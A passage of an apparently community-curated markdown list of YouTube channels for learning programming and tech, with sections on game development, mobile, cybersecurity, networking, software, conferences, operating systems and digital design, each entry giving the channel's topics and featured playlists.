Featured playlists: `How to make a 2D Platformer - Unity Course`, `Making a Multiplayer FPS in Unity`, `How to program in C# - Beginner Course`, `Unity 2D Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxjaeTFC1M-YAEpgSHasXcojzmv3vbpcOdojtjlug=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/JonasTyroller) [**Jonas Tyroller**](https://www.youtube.com/c/JonasTyroller) \ Content about: GameMaker Studio, Tips and planning playlists \ Featured playlists: `Will You Snail? - Full Development.`, `Game Dev Tips`, `How To Get Started With Game Development.`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJytTySK0c9M6APiuFRUiyGrBVToA1aAUse95O6ZjQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/RealTutsGML) [**RealTutsGML**](https://www.youtube.com/c/RealTutsGML) \ Content about: Java, GameMaker Studio \ Featured playlists: `Java Basic Programming`, `Cool Game Maker Tutorials`, `Beginner Java Game Development`, `Java Platform Game Programming`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzLVHrXv3qfNCv7Qu9LX7x92XuCnNu8p4pQMd2YXA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UCX4mqbvv5lGqLpI4FYlJt4w) [**Mark Rise**](https://www.youtube.com/channel/UCX4mqbvv5lGqLpI4FYlJt4w) \ Content about: Game design, Animation \ Featured playlists: `Geometric design playlists`, `Video Game Character Animation Course`, `After Effects Animation Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJy9BmXS6-TeuqUEXnhPWdZT_c-td6YEF1tbiN8lWw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/ChrisCourses) [**Chris Courses**](https://www.youtube.com/c/ChrisCourses) \ Content about: HTML5 Canvas, JavaScript \ Featured playlists: `HTML5 Canvas Tutorials for Beginners | Become a Canvas Pro`, `other JavaScript-related videos`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxr-B_J2JaFQFAWAGI62RfHmCFVvt6rQocEeopqEw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Zenva) [**Zenva**](https://www.youtube.com/c/Zenva) \ Content about: Unity, Unreal Engine, Godot \ Featured playlists: `Master Unity Game Development`, `Unreal Game Development Mini-Degree`, `Godot Game Development Mini-Degree`, `a very lot more playlists about game development and design!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx1f7O5nvI5mIBDN5I3siO-x_3nXdmNb-ncK4Uz=s288-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/MixandJam) [**Mix and Jam**](https://www.youtube.com/c/MixandJam) \ Content about: Unity \ Featured playlists: `Mix and Jam Recreations`, `Game Jams`, `RE Mix and Jam`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx2zjXrjENr6VU0xQnqHVrqitqoKsFIBGtEwOen8g=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/DaFluffyPotato) [**DaFluffyPotato**](https://www.youtube.com/c/DaFluffyPotato) \ Content about: Pygame \ Featured playlists: `Pygame Tutorial Series (beginner)`, `Pygame Tutorial Series (amateur)`, `Pygame Tutorial Series (advanced)`, `more Pygame videos!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJw7ckfiEB4cBXQRTsWZ361ObFTWjU6wV91zxbVF=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/ChiliTomatoNoodle) [**ChiliTomatoNoodle**](https://www.youtube.com/c/ChiliTomatoNoodle) \ Content about: C++, DirextX, 3D \ Featured playlists: `Beginner C++ Game Programming`, `Intermediate C++ Game Programming`, `Advanced C++ Game Programming`, `3D Programming Fundamentals`, `C++ 3D DirextX Programming`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzm-kDEnQuVh_KHGA1S7f7xe2d_dywIeLSjSm7PyC8=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCxboW7x0jZqFdvMdCFKTMsQ) [**GDQuest**](https://www.youtube.com/channel/UCxboW7x0jZqFdvMdCFKTMsQ) \ Content about: GODOT \ Featured playlists: `Godot 3 tutorials`, `3d Maze Game in Godot`, `Make Your First 2D Game with Godot`, `Godot - Beginner Game Creation Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzoIjRlshuZqc2EyoOtY76mx1jOrnT_VE26BGFctg=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/user/uheartbeast) [**HeartBeast**](https://www.youtube.com/user/uheartbeast) \ Content about: GODOT, 2D, GameMaker \ Featured playlists: `Godot Engine Tutorials`, `Resource Based Inventory Tutorial in Godot`, `2D Hack-n-Slash Course (Complete Course)`, `GameMaker Platform Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJy1coScVH3_bUoljtyvGxH7jpeS73tNanRpBxHZ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/MethMethMethod) [**Meth Meth Method**](https://www.youtube.com/c/MethMethMethod) \ Content about: JavaScript \ Featured playlists: `Super Mario Bros in JavaScript`, `Creating a Tetris Online Multiplayer in Javascript`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnhzSBts9V7Ejj7f8uMAqqN8T0MsQ5kSYC5pq9tWaQ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/ClearCode) [**Clear Code**](https://www.youtube.com/c/ClearCode) \ Content about: Python \ Featured playlists: `Pygame Fundamentals`, `Creating Pong in Pygame`, `Learning pygame by making Flappy Bird`, `Google dinosaur runner in Godot`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLTGj8uIleXQsTjYxUTZELm9D4xNFrdoLrZChKCF=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCS2smVWjNGuRzD6HVWmlWwQ) [**The DevKing**](https://www.youtube.com/channel/UCS2smVWjNGuRzD6HVWmlWwQ) \ Content about: game development, Robolox scripting \ Featured playlists: `Robolox scripting`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwnC9ATEyVr8Mf-Vz3K1hAUMzPXjxz_rp2LZL6JVg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/TheChernoProject) [**The Cherno**](https://www.youtube.com/user/TheChernoProject) \ Content about: C++, Game development \ Featured playlists: `Game Engine`, `C++`, `OpenGL`, `3D game programming in java`. \ <br /> [🔼 Back to the top](#contents) ## Mobile development Nowadays, we can't imagine our lives without our smartphones and the people who enable the smartphone experience are mobile app developers. In this section, you can learn how to build mobile applications from scratch that face consumers. Learn how to follow industry best practices. Learn Kotlin or Swift for native development in Android/iOS or learn technologies such as React Native and Flutter for cross-platform mobile development. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/mhup7lzHh_c9b55z0edX65ReN9iJmTF2JU7vMGER9LTOora-NnXtvZdtn_vJmTvW6-y97z0Y=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/PhilippLackner) [**Philipp Lackner**](https://www.youtube.com/c/PhilippLackner) \ Content about: Android, Kotlin, Jetpack Compose \ Featured playlists: `ANDROID FUNDAMENTALS FOR BEGINNERS`, `KOTLIN NEWBIE TO PRO`, `Jetpack Compose`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx_F6rE_flskMStro3T2TQ_s-NAl9j2k6nIahoP=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/SimplifiedcodingNetOfficial) [**Simplified Coding**](https://www.youtube.com/c/SimplifiedcodingNetOfficial) \ Content about: Android, Backend \ Featured playlists: `PHP, MySQL and Firebase videos`, `Kotlin Programming Tutorial`, `more videos and playlists`. [🔼 Back to the top](#contents) ## Cybersecurity Security is something we all should care about. Learn how you can protect yourself from attackers or malicious software. Learn also how the hacks are made to know deeply what is going on inside them, with the ethical hacking tutorials. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxXEBqSlbr0Gm-VRnA6Q7alt4cZA_kfu1fkWdgr=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/DavidBombal) [**David Bombal**](https://www.youtube.com/c/DavidBombal) \ Content about: Ethical hacking, Linux \ Featured playlists: `CCNA Exam: 200-125, 100-105 and 200-105`, `Cisco playlists`, `SDN Videos`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwngQe82aB9iyW0oPVNvK9C5P8S5amy4J8vNNgc0lNg=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/AndreasKling) [**Andreas Kling**](https://www.youtube.com/c/AndreasKling) \ Content about: Hacking \ Featured playlists: `Browser hacking`, `DevTools hacking`, `OS hacking`, `SerenityOS`, `Emulator hacking`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzNrZ0R2UonwEPRLM-mu3cqjLu2SUVG2VSev7jtGw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UCkefXKtInZ9PLsoGRtml2FQ) [**Professor Messer**](https://www.youtube.com/channel/UCkefXKtInZ9PLsoGRtml2FQ) \ Content about: Security \ Featured playlists: `CompTIA Security+ SY0-501 Training Course`, `CompTIA N10-007 Network+ Study Groups`, `and many more like this!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxxwg_MKbgIY5qofCP_D9_7J1imehz-xhNBbtuA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/CodeCommand) [**CodeCommand**](https://www.youtube.com/c/CodeCommand) \ Content about: Ethical hacking, Security \ Featured playlists: `Cyber Security - Penetration Testing Course (Offensive Security)`, `Kali Linux Tutorials | Pentesting Methods |`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx0I11HLzaCk0XKTy0lF5w7Na4AO_0pxVjc8zkIHg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/LiveOverflow) [**LiveOverflow**](https://www.youtube.com/c/LiveOverflow) \ Content about: Ethical hacking \ Featured playlists: `Browser Exploitation`, `Hardware Security Research/Mobile`, `Binary Exploitation`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwX8qUlbr3ikiGsK_1TEe5i6ALRLhVXfDieN2ni=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UCgTNupxATBfWmfehv21ym-g) [**NullByte**](https://www.youtube.com/channel/UCgTNupxATBfWmfehv21ym-g) \ Content about: Networking and security, Tutorials on Pentesting tools, Ethical hacking \ Featured playlists: `Using Wireshark`, `NodeMCU`, `RaspberryPi`, `Cyber Weapons lab`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzJ5anzmrJc0GgT4bIkOsdQ8PWsUkrFg04-kyO-zQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) [**Hackersploit**](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) \ Content about: Pentesting, Ethical hacking, Linux \ Featured playlists: `Metasploit`, `Linux`, `NMap`,`Osint`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel avatar" src="https://yt3.ggpht.com/ytc/AAUvwnhE2DbmnPI3pt2MduxNiMHx4yx37bHq3W01WVNEV4c=s288-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/GeraldAuger) [**Gerald Auger**](https://www.youtube.com/c/GeraldAuger) \ Content about: Cyber security \ Featured playlists: `Breaking Into Cybersecurity Videos - Simply Cyber`, `Cybersecurity Job Hunting QA with Recruiters`, `Free Pentester List Companion`. [<img align="left" height="94px" width="94px" alt="Channel avatar" src="https://yt3.ggpht.com/ytc/AAUvwnh6QHLdRPfo9NF-2TFY0fiAqnjLXiV48odLQASLQA=s288-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/NetworkChuck) [**Network Chuck**](https://www.youtube.com/c/NetworkChuck) \ Content about: Networking, Cyber security, Ethical hacking \ Featured playlists: `Linux - NetworkChuck`, `FREE Security+ SY0-601 // Complete Course // thisisIT 2020`, `FREE CCNA 200-301 // Complete Course // NetworkChuck 2020`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLSKaXhsJjVcucr6ZGs4aFaBu_Qy-oY5z1KBLVGh0Q=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/JohnHammond010) [**John Hammond**](https://www.youtube.com/c/JohnHammond010) \ Content about: Cyber security, Ethical hacking, Malware analysis \ Featured playlists: `Malware Analysis`, `TryHackMe`, `FORENSICS`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLQ4ngTlpfyu-izPaLTs-MP--b1V5mL-lTtLqvF-UA=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/SunKnudsen) [**Sun Knudsen**](https://www.youtube.com/c/SunKnudsen) \ Content about: Privacy guides, bitcoin \ Featured playlists: `Privacy guides`, `Bitcoin series`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/lwHqZYuTM3v0oBB_RevOFbD_cHL7AWUfYID_iv8trv6_4u4r7Go_t4qFJplYiJNQVC-14Tb8=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/Techlore) [**Techlore**](https://www.youtube.com/c/Techlore) \ Content about: Privacy and security tutorials and reviews \ Featured playlists: `Go Incognito: A Guide to Security, Privacy, & Anonymity`. \ <br/> [🔼 Back to the top](#contents) ## Internet/networking Internet connection and networking is a wide topic, and it's common to get stuck while learning about this. Get awesome playlists and videos about both software and hardware to know how does the internet connection and networking works. How to properly set a modem/router and what are the IPs, DNS and more. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzSYAPTPcWy0bRmuTwX_ZoSf5glAyJey9l3DVyeKA=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/NetVNbuitronghieu) [**Net VN**](https://www.youtube.com/c/NetVNbuitronghieu) \ Content about: Internet, Networking, Command line, Hardware \ Featured playlists: `A lot of router/modem playlists`, `Software management of internet connection and network videos`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyLZ561K6CUOujxHpRbMgK_lwD6WWELO6YwM2Bw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UCtuXekfqj-paqsxtqVNCC2A) [**Network Direction**](https://www.youtube.com/channel/UCtuXekfqj-paqsxtqVNCC2A) \ Content about: Networking \ Featured playlists: `Network Direction`, `Network Fundamentals`, `Firewall and LAN videos`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxQ3fRhADkbhwzuqg1IdgIxpJBsmTpwPwEJ5yH4Jg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/NetworKingInc) [**NetworKing**](https://www.youtube.com/c/NetworKingInc) \ Content about: Networking, CCNA \ Featured playlists: `Full Series | 200-301 CCNA | Free Cisco Video Training 2020 | Networking Inc.`, `other networking videos`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJz94lPJiSkw20P0-6TLSo4oz0Z_BQkhMiHBoZyF2w=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/PowerCertAnimatedVideos) [**PowerCert Animated Videos**](https://www.youtube.com/c/PowerCertAnimatedVideos) \ Content about: Networking hardware with other concepts with helpful the visuals. There is also a crash course on A+ and Net+. \ Featured playlists: `Information Technology`, `CompTIA Certification`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJy96DtZPu2EJwh5eXuSn6-ru4wz1C4xFTs8GBcwYA=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/ALLABOUTELECTRONICS) [**All About Electronics**](https://www.youtube.com/c/ALLABOUTELECTRONICS) \ Content about: Electronics and Communication \ Featured playlists: `BJT`, `Analog Electronics`, `Network Analysis`. \ <br /> [🔼 Back to the top](#contents) ## Software in general YouTubers listed in this category may not be programming tutorials or cool design cards, but some other useful software and applications are used every day for everyone. Master that suite you use a lot or learn more about specific services a company provides you with. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyI_LJUCt0PppNpYDlfW4KTcpmBf73M3hWv0YxH=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/LearnGoogleSpreadsheets) [**Learn Google Spreadsheets**](https://www.youtube.com/c/LearnGoogleSpreadsheets) \ Content about: Google Spreadsheets \ Featured playlists: `Google Sheets - Fundamental Skills`, `Google Apps Scripts - Fundamental`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzKIt0dhdvc7FP-6HRlB-WClDG9geZOhC_eDaIYqw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/OnlineTrainingforEveryone) [**Online Training for Everyone**](https://www.youtube.com/c/OnlineTrainingforEveryone) \ Content about: Excel, Office suite \ Featured playlists: `Excel 2020 Tutorials`, `Advanced Excel Tutorials`, `Microsoft Visio Tutorials`, `Windows 10 Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwY3ModHFJGHTdK25cpztQz8NPG8gFllfgWJEqvwA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Simonsezit) [**Simon Sez IT**](https://www.youtube.com/c/Simonsezit) \ Content about: Office suite, Microsoft \ Featured playlists: `Excel playlists`, `QuickBooks playlists`, `Power BI Tutorials`, `Microsoft Outlook 2019`, `more videos about Microsoft programs`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwDmz-Sqfl3nOecezetnZo7lxo2sSFGahLOY7dGKg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/TomScottGo) [**Tom Scott**](https://www.youtube.com/c/TomScottGo) \ Content about: Theoretical videos \ Featured playlists: `How To Build An App`, `The Basics (Code)`, `other science videos`. \ <br /> [🔼 Back to the top](#contents) ## Conferences This section is about all the amazing tech conferences and the talks that they put online. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJytmpnop1rJ8bYYGvdWXbs4er2kRUUmBT0udDAcIA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/CodingTech) [**Coding Tech**](https://www.youtube.com/c/CodingTech) \ Content about: All programming, Talks \ Featured playlists: `Frontend development videos`, `Backend development videos`, `Theoretical videos`, `a lot more tech topics playlists!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AL5GRJVQptvOS9IbdF_r5ePIwbXAUNYoHlg8L7YY9WevRw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@DevoxxForever) [**Devoxx**](https://www.youtube.com/@DevoxxForever) \ Content about: Devoxx is a series of tech events organised by local community groups \ Featured playlists: `Devoxx UK`, `Devoxx Belgium`, `Devoxx Poland`, `Devoxx France`. \ <br/> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AL5GRJXTvgnQRNcUwB6Pp6X6mcxILphi2BNfWTdeEZxs7Q=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@ddd_eu) [**Domain-Driven Design Europe**](https://www.youtube.com/@ddd_eu) \ Content about: Conference for senior software developers and architects interested in software design. \ Featured playlists: `DDD Foundations`, `Eventsourcing`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/qgTWM66BUH2STKGd-jTl5DMoIZXnDhKpmo_Cyp3yBEEUwdYMeHvjrulSl1wioLz-rm1mNhg6VA=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@GOTO-) [**GOTO Conferences**](https://www.youtube.com/@GOTO-) \ Content about: Brightest minds sharing their knowledge to create a better future \ Featured playlists: `Sustainable Software`, `Software Architecture`, `Recommendations`, `Greatest Hits`, and many more. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AL5GRJWLFdZolJp2YsKH3wO742DVMpo-OkH-_agdkRVLRw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@infoq) [**InfoQ**](https://www.youtube.com/@infoq) \ Content about: Innovator and early adopter stage techniques and technologies with the wider industry \ Featured playlists: `InfoQ Trend Reports`, `Culture & Methods`, `DevOps`, `Emerging languages and development trends`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AL5GRJXuXpA0Lil-SD7rDAS7sQev-rYD8r5CzAnub1g2VQ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@NDC) [**NDC Conferences**](https://www.youtube.com/@NDC) \ Content about: .NET & Agile development, evolved to encompass all technologies relevant to Software Developers. \ Featured playlists: `NDC Sydney`, `NDC Oslo`, `NDC London`, `NDC Minnesota`, `NDC Melbourne`, `NDC Copenhagen`, `DevOps`, `Security`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AL5GRJVbkZF43DOQpyCMY4jIhNXCJmN33xnMUyemTPqo=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@NLJUG1) [**NLJUG**](https://www.youtube.com/@NLJUG1) \ Content about: All things related to Java from the Dutch Java User Group \ Featured playlists: `J-Fall`, `J-Spring`. \ <br/> [🔼 Back to the top](#contents) ## Operating systems Includes videos and tutorials for the correct management and understanding of Windows, Linux, Mac and other operating systems. Learn about useful commands and settings to keep your OS up-to-date and secure. Understand how do these systems work in-deep to allow you to control them using the best methods. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyzXrRfkiVxobJ_1-ot6Nwbb-8hzmOInqGjQJReXQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/RibaLinux) [**Riba Linux**](https://www.youtube.com/c/RibaLinux) \ Content about: Linux \ Featured playlists: `Install and overview`, `Linux How-to`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJy8oFBuw6tSoDlY7bV6kK_97atCLWDgBH-pypW8dw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/MSFTWebCast) [**MSFT WebCast**](https://www.youtube.com/c/MSFTWebCast) \ Content about: Windows \ Featured playlists: `Windows Server Beginners Tutorials`, `Managing Networking services in Windows Server`, `Managing Active Directory Infrastructure`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/3aTiR8-i48HnwXZKBacKe_niYg1zmIH2BFv_OqQotxqu3eurYH64sKF2YITmj41Y1p5iPYdaLQ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/DistroTube/) [**DistroTube**](https://www.youtube.com/c/DistroTube/) \ Content about: Linux, Emacs, CLI, Privacy in general.\ Featured playlists: `Privacy & Security`, `The church of Emacs`, `The command line`, `The Arch way`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLSFadDrzEpOmbopzQAK6EE7uzQXp8yNaKoGEAgKIA=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCxQKHvKbmSzGMvUrVtJYnUA) [**Learn LinuxTV**](https://www.youtube.com/channel/UCxQKHvKbmSzGMvUrVtJYnUA) \ Content about: Linux Tutorials, Distribution reviews, Linux Guides \ Featured playlists: `Hardware reviews`, `Linux essentials`, `Linux commands for beginners`. \ <br /> [🔼 Back to the top](#contents) ## Digital design Web design tutorials are listed in the [web development section](#web-development). But, of course, the digital design is incredibly big, including nice pictures and draw representations about a famous person or attractive promotional videos. Get the knowledge about how to do these things and be a professional with design programs. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxyZLmMiocMlFDS5BkCFVJdNb5Z_6LIVtxOLVyS=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/HowtoGraphicDesign) [**How to Graphic Design**](https://www.youtube.com/c/HowtoGraphicDesign) \ Content about: Adobe Illustrator, Illustrations \ Featured playlists: `Adobe Illustrator CC Flat Illustration Tutorials`, `Logo Creation Tutorials Playlist`, `Adobe Illustrator CC for Beginners`, `more Adobe Illustrator playlists`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJz0yGLAogfKCoU7YgR_8bUj0q4c2WlDkcCozlT49w=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/armaganvideos) [**ArmaganVideos**](https://www.youtube.com/c/armaganvideos) \ Content about: Adobe Illustrator, Illustrations, Flat design \ Featured playlists: `Tutorials - Illustrator`, `Tutorials - After Effects`, `Tutorials - Flat Design`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzlxT8H3XaR4aTb9gpiNUAGid4XnpKk8Sk1N7BG=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/TTTutorials) [**T&T Tutorials**](https://www.youtube.com/c/TTTutorials) \ Content about: Adobe Illustrator, Adobe Photoshop, Hand-drawing \ Featured playlists: `Adobe Illustrator Tutorials`, `Character Illustration Illustrator Tutorials`, `Adobe Illustrator Tools Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJygq4Pq_23OEZs2MZbLitD4i8YHBVe7NsNvcnsFag=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Pixelandbracket) [**Pixel & Bracket**](https://www.youtube.com/c/Pixelandbracket) \ Content about: Adobe Illustrator, Adobe Photoshop \ Featured playlists: `Illustrator Tutorials`, `Photoshop Tutorials`, `other design videos`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxZgbkZh-4rbYswKEsnjK9loXD0ycFuFc_EEX5CLA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/ZakeyDesignow) [**Zakey Design**](https://www.youtube.com/c/ZakeyDesignow) \ Content about: Gimp, Inkscape, Adobe Illustrator \ Featured playlists: `Gimp Photo Manipulation`, `Inkscape playlist`, `Adobe Illustrator videos`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwzTU_31qu-jJKhnKvA2INGIA138gOD3CBB9mB3kA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/ArtwithFlo) [**Art with Flo**](https://www.youtube.com/c/ArtwithFlo) \ Content about: Procreate, Ipad/tablet drawing \ Featured playlists: `PROCREATE TUTORIALS`, `DIGITAL ART TUTORIALS`, `Digital Drawing on iPad Pro | Easy Drawing Tutorials`, `more playlists!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyDKjIXjD19amsFlS8OLCTiMwplipojomEjZeUTrQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/tutsplus) [**Envato Tuts+**](https://www.youtube.com/c/tutsplus) \ Content about: All design, Illustrations, Web design \ Featured playlists: `Learn Adobe Photoshop`, `Learn About Fonts`, `Photo and video manipulation playlists`, `Figma videos`, `Learn Photo Effects`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwl3FUpFqnMH4rJ7tnSjuFqpn0gNvSRgrlWXmQxNw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/logosbynick) [**Logos By Nick**](https://www.youtube.com/c/logosbynick) \ Content about: Inkscape, Gimp \ Featured playlists: `Inkscape Beginner Tutorials`, `GIMP Tutorials`, `Inkscape Typeface Tutorials`, `Inkscape Logo Design Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnjNoBbN8dcRvQmBgN4oTSZVTnb-KDu41GJWStY-=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/MohamedAchraf) [**Mohamed Achraf**](https://www.youtube.com/c/MohamedAchraf) \ Content about: Adobe Illustrator \ Featured playlists: `The Logo Design Process`, `Adobe Illustrator Tips & Tricks`, `Character Designs`, `Illustrator Speedarts`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" 